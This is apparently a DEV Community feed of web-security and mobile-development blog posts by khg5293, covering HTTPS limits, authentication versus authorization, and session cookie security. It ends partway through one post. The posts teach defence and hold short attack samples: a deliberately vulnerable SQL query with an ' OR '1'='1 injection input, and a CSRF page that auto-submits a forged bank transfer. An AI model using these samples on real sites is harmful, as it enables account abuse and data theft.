DEV Community: khg5293

Why HTTPS Doesn't Mean a Website Is Safe

khg5293 — Mon, 12 Oct 2026 02:07:30 +0000

We've all been told to look for HTTPS when visiting a website.

If the URL starts with https:// and the browser doesn't show a security warning, it's easy to assume everything is safe.

But there's an important distinction that often gets overlooked:

HTTPS protects your connection to a website. It doesn't guarantee that the website itself is trustworthy.

Let's break down why that matters.

What HTTPS Actually Protects

HTTPS stands for Hypertext Transfer Protocol Secure. It uses TLS (Transport Layer Security) to secure communication between your browser and a web server.

Consider these two URLs:

http://example.com/login
https://example.com/login

The first uses unencrypted HTTP. The second uses HTTPS, which protects HTTP traffic using TLS.

When properly implemented, HTTPS provides three important protections:

Encryption: Prevents someone monitoring the network from easily reading the data being transmitted.
Integrity: Protects against unauthorized modification of data in transit.
Authentication: Helps verify that you're communicating with a server authorized for the domain you're visiting.

These protections are essential, especially when transmitting sensitive information such as passwords, payment details, or personal data.

Here's a simplified comparison:

Protection	HTTP	HTTPS
Encrypted communication	No	Yes
Data integrity in transit	No cryptographic guarantee	Yes
Server authentication	No TLS authentication	Yes
Guarantees website is trustworthy	No	No

Notice that last row.

HTTPS secures the communication channel, not the trustworthiness of the website itself.

Even Phishing Websites Can Use HTTPS

Imagine receiving an email claiming that your account needs immediate verification.

The email contains a link:

https://khg5293-login.example

This is a fictional domain used for demonstration.

You click it and find a convincing login page.

The URL uses HTTPS, your browser accepts the certificate, and there are no obvious connection security warnings.

Does that mean the website is legitimate?

Not necessarily.

An attacker can register a domain, obtain a valid TLS certificate, and host a phishing page that looks nearly identical to a legitimate website.

For example, consider these fictional URLs:

# Legitimate website
https://accounts.example.com/login

# Lookalike phishing website
https://accounts-example-login.test/login

Both could use HTTPS. Both could have valid TLS certificates for their respective domains.

But only one might belong to the organization you intended to visit.

When you enter your credentials, HTTPS encrypts the information before transmitting it.

Here's the problem:

Your credentials could be securely transmitted directly to an attacker.

HTTPS is functioning exactly as intended. It simply cannot determine whether the destination deserves your trust.

HTTPS Doesn't Fix Application Vulnerabilities

Even legitimate websites using HTTPS can contain serious security vulnerabilities.

Some common examples include:

SQL Injection: An application improperly handles user input, allowing attackers to manipulate database queries.
Cross-Site Scripting (XSS): Malicious scripts execute in users' browsers due to unsafe handling of untrusted content.
Broken Access Control: Users access resources or perform actions beyond their authorized permissions.
Server Compromise: Attackers gain unauthorized access to the infrastructure hosting the application.

HTTPS doesn't automatically prevent any of these problems.

Example: An HTTPS Login Request

Consider the following application-level HTTP request:

POST /api/login HTTP/1.1
Host: demo.example
Content-Type: application/json

{
  "username": "khg5293",
  "password": "example-password"
}

When sent over HTTPS, this HTTP message is protected inside an encrypted TLS connection.

A network observer generally cannot read the request body or credentials in transit.

But what happens after the server receives the request?

If the application stores passwords insecurely, has vulnerable authentication logic, or exposes sensitive information through improperly configured endpoints, HTTPS won't fix those issues.

Example: SQL Injection Over HTTPS

Imagine a backend application that constructs SQL queries by directly inserting user-provided input:

// Vulnerable example: never construct queries this way
const username = req.body.username;

const query =
  `SELECT * FROM users WHERE username = '${username}'`;

If an attacker submits a specially crafted username, the resulting SQL statement could behave differently than intended.

For example:

SELECT *
FROM users
WHERE username = '' OR '1'='1';

Depending on the application's database logic, this could cause the query to return records it shouldn't.

And yes, this attack can be delivered over a perfectly valid HTTPS connection.

The solution isn't to remove HTTPS. It's to implement proper application security controls.

For example, using a parameterized query:

// Safer approach: parameterized SQL query
const username = req.body.username;

const [rows] = await db.execute(
  "SELECT * FROM users WHERE username = ?",
  [username]
);

Here, the username is passed as data rather than being concatenated into the SQL statement.

HTTPS protects the data while it's traveling. Secure application design protects how that data is processed.

Both are necessary.

A Valid TLS Certificate Is Not a Security Audit

Another common misconception is that a website must pass a comprehensive security inspection to obtain an HTTPS certificate.

That's not how typical TLS certificates work.

For a Domain Validation (DV) certificate, a certificate authority verifies that the applicant controls the domain.

It does not guarantee that:

The website is free from malware.
The application has no security vulnerabilities.
The organization operating the website is legitimate.
The website handles personal information responsibly.

You can inspect a website's certificate using OpenSSL:

openssl s_client -connect example.com:443 -servername example.com

Or retrieve selected certificate details:

echo | openssl s_client \
  -connect example.com:443 \
  -servername example.com 2>/dev/null \
  | openssl x509 -noout -subject -issuer -dates

This can show information such as the certificate subject, issuing certificate authority, and validity dates.

But none of that constitutes a security audit of the website.

Services such as Let's Encrypt have made TLS certificates widely accessible, which is a tremendous improvement for web security.

However, that accessibility also means malicious websites can obtain valid certificates.

A valid certificate establishes technical trust in the connection, not a guarantee of the website's intentions.

What Should You Look For Instead?

HTTPS is still extremely important. You should expect modern websites, especially those handling sensitive information, to use it.

But it shouldn't be your only security check.

Here are a few practical habits:

Verify the domain name. Pay attention to misspellings, unusual subdomains, and lookalike domains.
Be cautious with unexpected links. Especially messages creating urgency around account verification, payments, or password resets.
Navigate directly to important websites. Use trusted bookmarks or manually enter known addresses instead of following suspicious links.
Enable multifactor authentication. Phishing-resistant methods, such as passkeys and hardware security keys, provide stronger protection against credential theft.
Keep your software updated. Browser and operating system security updates help protect against vulnerabilities that HTTPS cannot address.

These practices work alongside HTTPS rather than replacing it.

Final Thoughts

HTTPS is a fundamental part of modern web security.

It encrypts communication, protects data integrity, and helps authenticate the server you're connecting to.

But a secure connection and a trustworthy website are not the same thing.

A phishing website can have a valid TLS certificate. A legitimate HTTPS website can still contain critical vulnerabilities. And encrypted communication doesn't guarantee that your information will be handled securely once it reaches its destination.

HTTPS tells you that your connection is protected. It doesn't tell you whether you should trust what's on the other end.

React Native vs Flutter vs Native: There Is No Universal Best Choice

khg5293 — Sat, 03 Oct 2026 15:48:42 +0000

When people start planning a mobile application, one of the first technical decisions is often:

Should we build it with React Native, Flutter, or native development?

There is no universal answer.

Each approach solves a slightly different problem.

A useful way to think about them is:

React Native: Share much of your application code while still using native platform components.
Flutter: Build a highly consistent cross-platform interface using Dart and Flutter's own UI framework.
Native: Build separately for each platform using the tools and APIs provided directly by Apple and Google.

All three approaches can produce good applications.

The better choice depends on what you are building, who is building it, and how much platform-specific control you need.

What Cross-Platform Development Actually Means

A cross-platform framework tries to let developers share code between platforms such as Android and iOS.

Instead of maintaining completely separate applications:

iOS codebase
Android codebase

you may be able to share a large portion of the application:

Shared application logic
Shared networking code
Shared state management
Shared UI components

while still producing applications that run on both platforms.

For a simple example, imagine an application displaying a profile for khg5293.

The application needs to:

Request profile data
Store application state
Display the username
Handle button presses
Navigate between screens

Much of that logic is conceptually identical whether the user is running Android or iOS.

Cross-platform frameworks try to reuse that work.

The tradeoff is that Android and iOS are still different operating systems.

Eventually, some applications need to interact with platform-specific behavior.

That is where the differences between React Native, Flutter, and fully native development become more important.

React Native

React Native allows developers to build mobile applications primarily using JavaScript or TypeScript and React.

A simplified component might look like this:

function UserProfile() {
  const user = {
    username: "khg5293",
    platform: "android"
  };

  return (
    <View>
      <Text>{user.username}</Text>
    </View>
  );
}

For developers who already work with React on the web, this programming model can feel familiar.

You still have:

Components
Props
State
Hooks
JavaScript or TypeScript

That can significantly reduce the learning curve for teams that already have strong JavaScript experience.

Why React Native Is Attractive

One of React Native's biggest advantages is ecosystem familiarity.

A company may already have developers who know:

JavaScript
TypeScript
React
npm
REST APIs
Frontend state management

Those skills transfer reasonably well into React Native development.

That makes React Native especially interesting for teams that already build web applications with React.

For example, an application might use TypeScript to represent a user:

type User = {
  username: string;
  platform: "ios" | "android";
};

const user: User = {
  username: "khg5293",
  platform: "android"
};

The language, tooling, and programming style may already be familiar to the team.

React Native can therefore be a practical way to move into mobile development without completely abandoning an existing JavaScript ecosystem.

Where React Native Becomes More Complicated

React Native does not make Android and iOS identical.

Eventually, an application may need functionality that behaves differently between platforms.

For example:

import { Platform } from "react-native";

if (Platform.OS === "ios") {
  console.log("Running on iOS");
}

if (Platform.OS === "android") {
  console.log("Running on Android");
}

That is not necessarily a problem.

But it demonstrates an important point:

Cross-platform does not mean platform differences disappear.

Applications that use Bluetooth, background services, advanced camera functionality, notifications, widgets, health data, or other operating-system features may still require platform-specific work.

The framework can reduce duplication.

It cannot erase the platforms underneath it.

Flutter

Flutter takes a different approach.

Flutter applications are written primarily in Dart.

A very simple Flutter interface might look like this:

import 'package:flutter/material.dart';

class UserProfile extends StatelessWidget {
  const UserProfile({super.key});

  @override
  Widget build(BuildContext context) {
    const username = 'khg5293';

    return Scaffold(
      body: Center(
        child: Text(username),
      ),
    );
  }
}

Flutter provides its own extensive widget system for building application interfaces.

Instead of relying as heavily on the platform's standard UI components, Flutter gives developers a consistent way to construct and render interfaces across platforms.

That can be extremely useful when visual consistency is important.

Flutter's Biggest Strength: UI Consistency

Suppose a designer wants the application to look nearly identical on Android and iOS.

With Flutter, the interface can be built from the same widget hierarchy:

Column(
  children: [
    Text('khg5293'),
    ElevatedButton(
      onPressed: () {},
      child: Text('View Profile'),
    ),
  ],
)

Because Flutter controls so much of the rendering process, developers have considerable control over how the interface appears.

This is especially attractive for applications with:

Custom animations
Highly branded interfaces
Complex layouts
Custom design systems
Consistent appearance across platforms

For those kinds of applications, Flutter can feel less like adapting an interface to two platforms and more like building one visual system that happens to run on both.

The Dart Question

Flutter also introduces something React Native often does not:

A new programming language for many teams.

Dart is not inherently difficult, but a JavaScript-heavy organization may already have years of experience with TypeScript.

For that team, the difference might look something like this:

React Native:

const username: string = "khg5293";

Flutter:

String username = 'khg5293';

The syntax is not dramatically different.

The larger issue is ecosystem familiarity.

A React development team might already know:

TypeScript
React patterns
npm packages
Frontend tooling
JavaScript debugging

Moving to Flutter means learning another ecosystem.

That may be completely worthwhile.

But it is still a cost worth considering.

Native Development

Native development means building applications using the technologies designed specifically for each operating system.

For iOS, that generally means Swift.

For Android, that generally means Kotlin.

A simple Swift example might look like this:

let username = "khg5293"
print(username)

And the equivalent Kotlin example might be:

val username = "khg5293"
println(username)

The major difference is not the syntax.

It is that the application is being developed directly against the platform's native frameworks.

That gives developers the deepest access to the operating system.

Why Native Development Still Matters

Cross-platform frameworks are powerful, but native development still has an important advantage:

The operating system itself is the primary target.

When Apple introduces a new iOS capability, native iOS developers can generally work directly with Apple's APIs.

When Android introduces a new platform feature, native Android developers can interact directly with Android's APIs.

There is no additional framework layer that must first expose or support that functionality.

For applications that depend heavily on platform capabilities, that can be extremely valuable.

Examples might include applications that rely heavily on:

Bluetooth
Advanced camera functionality
Background processing
Platform widgets
Health data
Device sensors
Low-level performance
Operating-system integrations

Cross-platform frameworks can support many of these features too.

But the more deeply an application depends on the operating system, the more important native knowledge tends to become.

The Cost of Going Native

The obvious disadvantage is duplication.

Imagine the same feature needs to exist on Android and iOS.

With native development, the team may need something like:

Swift implementation
+
Kotlin implementation

The business logic may be conceptually identical, but the implementation can still exist in two codebases.

That can mean:

More development time
More testing
More platform-specific bugs
More engineers
More maintenance

For a large company with dedicated Android and iOS teams, that may be perfectly acceptable.

For a small startup with three developers, it might be much harder to justify.

Code Sharing Is Not the Same as Zero Duplication

Cross-platform frameworks are sometimes described as if developers write one application and instantly receive two perfect applications.

Reality is usually more complicated.

A React Native project may contain code like:

if (Platform.OS === "android") {
  enableAndroidFeature();
} else {
  enableIOSFeature();
}

A Flutter application might also need to detect the platform:

if (Platform.isAndroid) {
  enableAndroidFeature();
}

if (Platform.isIOS) {
  enableIOSFeature();
}

And some functionality may require completely separate native implementations.

So the real goal is usually not:

100% shared code

It is more realistically:

Share the code that makes sense to share.
Keep platform-specific code where platform-specific behavior matters.

That is a much healthier way to think about cross-platform development.

Performance

Performance discussions around mobile frameworks can become overly simplistic.

It is tempting to reduce the question to:

Native is fast.
Cross-platform is slow.

Modern mobile development is more complicated than that.

For many ordinary applications, all three approaches can provide excellent performance.

Consider an application containing:

Login
Profile screens
REST API requests
Lists
Settings
Notifications
Forms
Basic animations

A well-built React Native or Flutter application can handle that kind of workload comfortably.

The differences become more important when the application performs unusually demanding work.

Examples might include:

Complex real-time graphics
Heavy image processing
Extremely animation-heavy interfaces
Large amounts of device interaction
Low-latency audio
Specialized hardware access

In those situations, native development may provide more predictable control.

But framework choice alone does not determine performance.

Poor architecture can make a native application slow.

Good architecture can make a cross-platform application extremely responsive.

UI and Platform Feel

There is also a philosophical difference in how applications should look.

Some teams want:

The same interface everywhere.

Other teams want:

An Android application that feels Android-native
and
an iOS application that feels iOS-native.

Flutter is particularly attractive for the first goal.

Its widget system makes it easier to maintain a highly consistent design across platforms.

React Native often sits somewhere in the middle.

Developers can share large amounts of interface code while still interacting with native platform behavior.

Native development provides the greatest freedom to embrace each operating system independently.

None of these approaches is automatically correct.

It depends on the product.

Developer Experience

The background of the development team matters enormously.

Imagine three teams.

Team A:

5 React developers
Strong TypeScript experience
Little mobile experience

React Native would be an obvious framework to investigate.

Team B:

Developers comfortable learning Dart
Application requires highly customized UI
Strong desire for visual consistency

Flutter becomes very attractive.

Team C:

Dedicated Android engineers
Dedicated iOS engineers
Heavy platform integration
Large engineering budget

Native development may make perfect sense.

Technical decisions do not happen in a vacuum.

The best theoretical technology can still be the wrong choice for the team that actually has to maintain it.

React Native vs Flutter

The most interesting comparison is often React Native versus Flutter because both attempt to solve similar cross-platform problems.

A simplified comparison might look like this:

React Native
------------
Language: JavaScript / TypeScript
UI model: React-style components
Strong fit: Existing React teams
Major advantage: JavaScript ecosystem familiarity

Flutter
-------
Language: Dart
UI model: Flutter widgets
Strong fit: Highly customized cross-platform applications
Major advantage: UI consistency and control

That does not make one objectively better.

It means they optimize for somewhat different development experiences.

Native vs Cross-Platform

The deeper decision may actually be:

How much abstraction do we want between our application and the operating system?

Cross-platform frameworks intentionally add abstraction.

That abstraction provides enormous value because it allows code reuse.

But every abstraction also creates another layer developers need to understand.

Native development removes much of that additional layer, but sacrifices code sharing.

So the tradeoff looks something like this:

More code sharing
        ↑
React Native / Flutter
        |
        |
Native development
        ↓
More direct platform control

Neither end of that spectrum is automatically better.

What I Would Choose

If I were working with a JavaScript-heavy team building a typical mobile product, I would seriously consider React Native.

The ability to reuse existing TypeScript and React knowledge is difficult to ignore.

If I were building a highly customized application where maintaining the same visual experience across Android and iOS was especially important, Flutter would become very attractive.

If the application depended heavily on platform-specific APIs or required maximum control over the operating system, I would strongly consider native development.

In other words:

React Native:
Great when existing JavaScript and React knowledge matters.

Flutter:
Great when consistent custom UI across platforms matters.

Native:
Great when maximum platform integration and control matter.

That is not a ranking.

It is a question of priorities.

The Maintenance Question

There is one more factor that matters long after the application launches.

Who will maintain it?

A framework decision may survive for years.

The original developers may leave.

The application may grow.

Platform APIs may change.

New features may require deeper operating-system integrations.

Choosing a technology because it is exciting today is less important than choosing something the team can realistically support for the life of the product.

That means asking questions like:

Can we hire developers for this stack?

Does our team understand the language?

How dependent are we on third-party packages?

How much native knowledge will we eventually need?

How difficult will upgrades be?

Will this architecture still make sense when the application is much larger?

Those questions are less exciting than framework benchmarks.

They may also matter more.

Final Thought

React Native, Flutter, and native development are not three versions of the same solution.

They represent different tradeoffs.

React Native tries to combine cross-platform development with the JavaScript and React ecosystem.

Flutter provides a highly integrated framework for building consistent interfaces across platforms.

Native development gives developers the most direct relationship with Android and iOS themselves.

The real question is not:

Which framework is best?

It is:

Which tradeoffs make the most sense for this application and this team?

For one project, the answer might be React Native.

For another, Flutter.

For another, separate native applications may be worth the additional work.

The technology matters.

But the context in which that technology is being used matters even more.

Why Authentication and Authorization Are Not the Same Thing

khg5293 — Tue, 29 Sep 2026 19:33:02 +0000

Authentication and authorization are often mentioned together, so it is easy to treat them as if they are the same thing.

They are not.

A simple way to think about it is:

Authentication answers: Who are you?
Authorization answers: What are you allowed to do?

A user can be successfully authenticated and still be unauthorized to access a resource.

That distinction matters because many security bugs happen when an application verifies identity but fails to verify permissions.

Authentication: Proving Identity

Authentication is the process of verifying that a user is who they claim to be.

A common example is logging into a website with a username and password.

Username: khg5293
Password: ********

If the credentials are valid, the server may create a session and return a session cookie.

Set-Cookie: sessionId=abc123xyz;

From that point on, the browser can send the cookie with later requests.

GET /account
Cookie: sessionId=abc123xyz

The server checks the session and determines:

This request belongs to khg5293.

That is authentication.

The server now knows who is making the request.

But that does not automatically mean the user should be allowed to access everything.

Authorization: Checking Permissions

Authorization happens after identity is known.

Imagine the application has two users:

khg5293
admin

Both users can authenticate successfully.

But they should not necessarily have the same permissions.

For example:

GET /admin/dashboard

The server should not only ask:

Is this user logged in?

It also needs to ask:

Is this user allowed to access the admin dashboard?

A simplified example might look like this:

function viewAdminDashboard(user) {
  if (!user.isAuthenticated) {
    return "Please log in";
  }

  if (user.role !== "admin") {
    return "Access denied";
  }

  return "Welcome to the admin dashboard";
}

The first check is authentication.

if (!user.isAuthenticated)

The second check is authorization.

if (user.role !== "admin")

They solve different problems.

Being Logged In Is Not Enough

One of the most common mistakes is assuming that authentication automatically provides authorization.

Consider this request:

GET /users/khg5293/profile

The server might read the authenticated user from the session.

const sessionUser = "khg5293";

Now imagine the user changes the request manually:

GET /users/admin/profile

If the server only checks whether the requester is logged in, the request might succeed.

if (sessionUser) {
  return getProfile(request.params.username);
}

That code confirms that the requester is authenticated.

But it never checks whether the authenticated user is authorized to view the requested profile.

A safer approach would be:

const sessionUser = "khg5293";
const requestedUser = request.params.username;

if (!sessionUser) {
  return "Authentication required";
}

if (sessionUser !== requestedUser) {
  return "Access denied";
}

return getProfile(requestedUser);

Now the server verifies both identity and permission.

Authentication Usually Comes First

In many applications, the flow looks like this:

1. User sends credentials
2. Server verifies credentials
3. Server creates a session
4. User sends a request
5. Server identifies the user from the session
6. Server checks whether that user is allowed to perform the requested action

Steps 1 through 5 involve authentication.

Step 6 is authorization.

They are related, but they are separate security decisions.

Authorization Should Be Checked on the Server

Authorization checks should not rely only on the user interface.

For example, a frontend application might hide an admin button:

if (user.role === "admin") {
  showAdminButton();
}

That is useful for the interface.

But hiding a button does not protect the server endpoint.

An attacker can skip the browser interface completely and send requests directly.

DELETE /api/users/123

If the backend does not perform its own authorization check, hiding the button provides no real protection.

The server still needs something like:

app.delete("/api/users/:id", (req, res) => {
  const user = req.session.user;

  if (!user) {
    return res.status(401).send("Authentication required");
  }

  if (user.role !== "admin") {
    return res.status(403).send("Forbidden");
  }

  deleteUser(req.params.id);

  res.send("User deleted");
});

The frontend can improve usability.

The backend must enforce security.

401 and 403 Are Different for the Same Reason

HTTP status codes also reflect the difference between authentication and authorization.

A 401 Unauthorized response usually means:

You have not successfully authenticated.

For example:

HTTP/1.1 401 Unauthorized

A 403 Forbidden response usually means:

The server knows who you are, but you are not allowed to perform this action.

For example:

HTTP/1.1 403 Forbidden

Despite the slightly confusing name of the 401 Unauthorized status code, the practical distinction is useful:

401 -> Who are you?
403 -> You are not allowed to do that.

A Simple Example

Suppose khg5293 logs into an application.

The server authenticates the user:

const user = {
  username: "khg5293",
  role: "user",
  isAuthenticated: true
};

Now the user tries to open a normal account page.

GET /account

The server allows it.

if (user.isAuthenticated) {
  return showAccountPage();
}

Then the same user tries to access an administrative endpoint.

GET /admin/users

The server checks authorization.

if (user.role !== "admin") {
  return "Access denied";
}

The user is still authenticated.

The authentication did not fail.

The authorization check failed.

That is the key distinction.

Why the Difference Matters

Security problems can appear when developers combine these concepts into a single question:

Is the user logged in?

That question is often not enough.

Applications may also need to ask:

Who owns this resource?
What role does this user have?
Can this user perform this specific action?
Does this user belong to this organization?
Is this resource accessible to this account?

Those are authorization questions.

A secure application should treat them separately from authentication.

Final Thought

Authentication establishes identity.

Authorization establishes permission.

Authentication:
"Who are you?"

Authorization:
"What are you allowed to do?"

A user can pass authentication successfully and still fail authorization.

Keeping those concepts separate makes application security easier to reason about and helps prevent situations where a valid user gains access to something they were never supposed to reach.

Your Session Cookie Is Basically a Temporary Password - Part 2

khg5293 — Tue, 22 Sep 2026 04:09:44 +0000

In Part 1, we looked at the basics:

How sessions work, why cookies matter, and why attributes like HttpOnly, Secure, and SameSite are important.

But secure cookie settings are only one part of session security.

A session has a lifecycle.

It is created, authenticated, used, refreshed, expired, and eventually destroyed.

Problems can happen at any point in that lifecycle.

In this post, we'll look at some of the less obvious session security issues developers should understand.

CSRF: When the Browser Helps the Attacker

One of the strange things about cookies is that browsers send them automatically.

That is convenient for users.

It is also exactly why CSRF exists.

Imagine a user is logged into:

bank.example

Their browser has:

Cookie: session_id=a8f19d27c4e91b72

Now the user visits:

evil.example

That page contains something like:

<form action="https://bank.example/transfer" method="POST">
  <input type="hidden" name="amount" value="500">
  <input type="hidden" name="to" value="attacker">
</form>

<script>
  document.forms[0].submit();
</script>

The attacker does not need to know the victim's session cookie.

The browser may attach it automatically when sending the request to bank.example.

From the server's perspective, the request could arrive with a valid authenticated session.

That is the core idea behind Cross-Site Request Forgery.

The attacker is not stealing the session.

They are abusing the browser's ability to use it.

CSRF Tokens

One common defense is a CSRF token.

The application generates a random value associated with the user's session.

For example:

<form method="POST" action="/settings/email">
  <input
    type="hidden"
    name="csrf_token"
    value="9bf231ce89f5d10a"
  >

  <input
    type="email"
    name="email"
  >

  <button type="submit">
    Change email
  </button>
</form>

The server expects both:

A valid authenticated session

and

A valid CSRF token

If the attacker can cause the browser to submit a request but cannot obtain the correct CSRF token, the server can reject it.

Conceptually:

Session cookie
      +
CSRF token
      ↓
Request accepted

A missing or incorrect token should cause the request to fail.

SameSite cookies can also reduce CSRF risk, but it is useful to understand CSRF as its own problem rather than thinking one cookie flag solves everything.

Session Fixation

Another session attack is less intuitive.

It is called session fixation.

Normally, we think of an attacker trying to steal a session after login.

Session fixation reverses that idea.

The attacker tries to make the victim use a session ID the attacker already knows.

Imagine the attacker knows:

session_id=XYZ123

The victim somehow begins using that session.

Then the victim logs in.

If the application keeps the same session identifier after authentication:

Before login:
session_id=XYZ123

After login:
session_id=XYZ123

the attacker already knows the identifier of the authenticated session.

The attack flow looks like this:

Attacker knows session XYZ123
          ↓
Victim begins using XYZ123
          ↓
Victim logs in
          ↓
Server authenticates XYZ123
          ↓
Attacker still knows XYZ123

The password was never stolen.

The session was never guessed.

The problem was that the session identifier was not changed when authentication happened.

Regenerate the Session ID After Login

The defense is straightforward:

Generate a new session identifier when authentication state changes.

For example:

app.post("/login", async (req, res) => {
  const user = await authenticate(
    req.body.username,
    req.body.password
  );

  if (!user) {
    return res.status(401).send("Invalid credentials");
  }

  req.session.regenerate((error) => {
    if (error) {
      return res.sendStatus(500);
    }

    req.session.userId = user.id;
    req.session.username = "khg5293";

    res.redirect("/dashboard");
  });
});

The important transition is:

Unauthenticated session ID
          ↓
User logs in
          ↓
New session ID
          ↓
Authenticated session

The old identifier should not simply become the authenticated session.

Session rotation can also make sense after important privilege changes.

For example:

User
  ↓
Admin role granted
  ↓
Rotate session ID

A session should not quietly carry sensitive state transitions forever.

Session Expiration

Sessions should not remain valid indefinitely.

If a session ID is stolen today and still works six months later, the attacker gets a very large window of opportunity.

Two common expiration strategies are:

Idle Timeout

The session expires after a period of inactivity.

For example:

Last activity: 10:00 AM

No activity for 30 minutes

Session expires at 10:30 AM

If the user makes another legitimate request before the timeout:

10:00 AM request
10:20 AM request
10:40 AM request

the idle timer may be refreshed.

This protects against sessions that are abandoned but never explicitly logged out.

Absolute Timeout

An absolute timeout limits the total lifetime of the session.

For example:

Login: 9:00 AM

Absolute lifetime: 8 hours

Session expires: 5:00 PM

Even if the user remains active, the session eventually ends.

This creates an upper bound on how long the same authenticated session can exist.

A system may use both:

Idle timeout:
30 minutes

Absolute timeout:
8 hours

The correct values depend on the application.

A low-risk community forum and an online banking system should not necessarily use the same session lifetime.

Remember Me Changes the Risk

Many applications offer a feature like:

Remember me

That can be useful, but developers should understand what it means from a security perspective.

A normal session might last:

30 minutes

while a persistent login might last:

30 days

That dramatically increases the usefulness of a stolen token.

If long-lived authentication is required, it is often better to treat it as a separate mechanism rather than simply making the normal session live forever.

For example:

Short-lived session
       +
Long-lived reauthentication token

The persistent token can be separately rotated, revoked, and monitored.

Longer lifetime should always be treated as increased exposure.

Logout Should Destroy the Session

A common logout implementation is:

res.clearCookie("session_id");
res.redirect("/");

That removes the cookie from the user's browser.

But ask an important question:

What happened to the session on the server?

Possibly nothing.

Imagine the server still contains:

sessions["a8f19d27c4e91b72"] = {
  userId: "khg5293",
  authenticated: true
};

The original browser may no longer have the cookie.

But if an attacker already copied the session identifier, that copy might still work.

Logout should normally invalidate the server-side session too.

For example:

app.post("/logout", (req, res) => {
  req.session.destroy((error) => {
    if (error) {
      return res.sendStatus(500);
    }

    res.clearCookie("session_id");

    res.redirect("/");
  });
});

The goal is:

Delete browser cookie
        +
Destroy server session

Both matter.

Password Changes Should Affect Existing Sessions

Another important lifecycle question is:

What happens to existing sessions when the password changes?

Imagine this situation:

Laptop session
Phone session
Tablet session
Unknown attacker session

The user changes their password.

If all existing sessions remain valid, the attacker's session may continue working.

Depending on the application, a password reset or other major account security event may justify invalidating other sessions.

For example:

Password reset
      ↓
Invalidate old sessions
      ↓
Require new authentication

This is especially important after suspected account compromise.

Session Revocation Matters

Expiration answers:

When should this session naturally stop working?

Revocation answers:

How can we make this session stop working right now?

Useful scenarios include:

User clicks "log out everywhere"

Password reset

Account locked

Admin disables account

Suspicious login detected

User removes a trusted device

A server-side session store makes this relatively straightforward.

If the session no longer exists:

session_id=a8f19d27c4e91b72

the server should reject it.

For example:

HTTP/1.1 401 Unauthorized

A session is only useful while the server still considers it valid.

Don't Put Session IDs in URLs

This is worth stating directly.

Do not design authenticated URLs like:

https://example.com/account?session_id=a8f19d27c4e91b72

URLs leak into many places.

For example:

Browser history

Server logs

Proxy logs

Analytics systems

Screenshots

Copied links

Bookmarks

Referer headers

A URL is a terrible place for a bearer credential.

Authentication tokens belong in mechanisms designed to transport them safely.

For traditional browser sessions, that generally means cookies.

Avoid Logging Session Tokens

The same idea applies to application logging.

This is useful:

2026-09-15T21:42:11Z
event=login_success
user=khg5293
source_ip=192.0.2.18

This is dangerous:

2026-09-15T21:42:11Z
event=login_success
user=khg5293
session_id=a8f19d27c4e91b72

Logs are often copied, indexed, retained, exported, and accessed by many systems.

A live session identifier appearing in logs can become a credential leak.

Application logs should avoid exposing secrets unnecessarily.

Keep Cookie Scope Narrow

Cookie attributes can control where a cookie is sent.

For example:

Set-Cookie: session_id=abc123; Path=/

sends the cookie more broadly than:

Set-Cookie: session_id=abc123; Path=/account

The correct scope depends on the application.

The same idea applies to domains.

An overly broad cookie configuration can cause a credential to be sent to places that do not actually need it.

A useful security principle is:

Give credentials the smallest scope they actually require.

That applies to cookies too.

Avoid Unnecessary Session Data in the Browser

In a traditional server-side session architecture, the browser does not need to know everything about the session.

This is usually enough:

Cookie: session_id=a8f19d27c4e91b72

The server can associate that identifier with:

{
  userId: "khg5293",
  role: "user",
  permissions: ["profile:read"],
  authenticated: true
}

There is usually no benefit in exposing sensitive server-side session state to the browser unnecessarily.

Keep the client-side value minimal.

Treat Session Security as a Lifecycle

It is easy to focus entirely on login.

But a secure session has many stages.

Session created
      ↓
User authenticates
      ↓
Session ID rotated
      ↓
Session used
      ↓
Session monitored
      ↓
Session expires or is revoked
      ↓
Session destroyed

Security decisions exist at every step.

If any one step is poorly designed, the session can become easier to abuse.

A More Complete Session Security Checklist

For a traditional web application:

[ ] Generate unpredictable session IDs

[ ] Rotate session IDs after authentication

[ ] Rotate again after major privilege changes where appropriate

[ ] Use HttpOnly

[ ] Use Secure

[ ] Choose an appropriate SameSite policy

[ ] Protect state-changing requests against CSRF

[ ] Implement idle expiration

[ ] Consider an absolute session lifetime

[ ] Invalidate sessions during logout

[ ] Revoke sessions after important account security events

[ ] Support session revocation where appropriate

[ ] Never place session IDs in URLs

[ ] Avoid logging authentication tokens

[ ] Keep cookie scope as narrow as practical

[ ] Avoid exposing unnecessary session state to the browser

Final Thought

Session security is not just about protecting one cookie.

It is about controlling the entire lifecycle of an authenticated identity.

The session has to be created securely.

It has to change when authentication changes.

It has to expire.

It has to be revocable.

And when the user logs out, it should actually stop working.

The safest way to think about a session ID is still the simplest one:

If someone possesses this value,
what can they do?

If the answer is:

Act as the authenticated user

then that session deserves the same care as any other credential.

Because once the password has already done its job, the session becomes the thing standing between the user and everyone else.

Your Session Cookie Is Basically a Temporary Password - Part 1

khg5293 — Wed, 16 Sep 2026 02:35:50 +0000

When developers think about authentication security, passwords usually get most of the attention.

Use strong passwords. Hash them properly. Add MFA. Rate-limit login attempts.

All of that matters.

But something interesting happens after a user successfully logs in:

The password usually stops being involved.

The application still needs a way to recognize that user on every request. In many traditional web applications, that job is handled by a session and a cookie containing the session identifier.

And if an attacker gets that identifier, they may not need the user's password at all.

In this post, we'll look at how sessions work, how cookies fit into the process, and the cookie settings web developers should understand.

HTTP Doesn't Remember You

HTTP is stateless.

Imagine a user sends this request:

GET /login HTTP/1.1
Host: example.com

Then later:

GET /dashboard HTTP/1.1
Host: example.com

From HTTP alone, there is nothing inherently connecting those two requests to the same authenticated user.

The server needs some way to remember:

This request belongs to the user who logged in earlier.

That's where sessions come in.

A typical authentication flow looks something like this:

User submits credentials
        ↓
Server verifies credentials
        ↓
Server creates a session
        ↓
Server generates a session ID
        ↓
Session ID is sent to the browser
        ↓
Browser sends it with future requests

After a successful login, the server might respond with:

HTTP/1.1 200 OK
Set-Cookie: session_id=a8f19d27c4e91b72; Path=/

The browser stores the cookie.

On a later request:

GET /account HTTP/1.1
Host: example.com
Cookie: session_id=a8f19d27c4e91b72

The server reads the session ID and looks it up.

Conceptually, the application might store something like:

sessions["a8f19d27c4e91b72"] = {
  userId: "khg5293",
  role: "user",
  authenticated: true
};

The browser did not send the password again.

It only sent the session identifier.

Cookies and Sessions Are Not the Same Thing

Cookies and sessions are often discussed together, so it is easy to treat them as the same thing.

They are not.

A cookie is data stored by the browser and sent with matching HTTP requests.

A session is application state associated with a user.

In a traditional server-side session model:

Browser

session_id=a8f19d27c4e91b72

        ↓

Server

a8f19d27c4e91b72
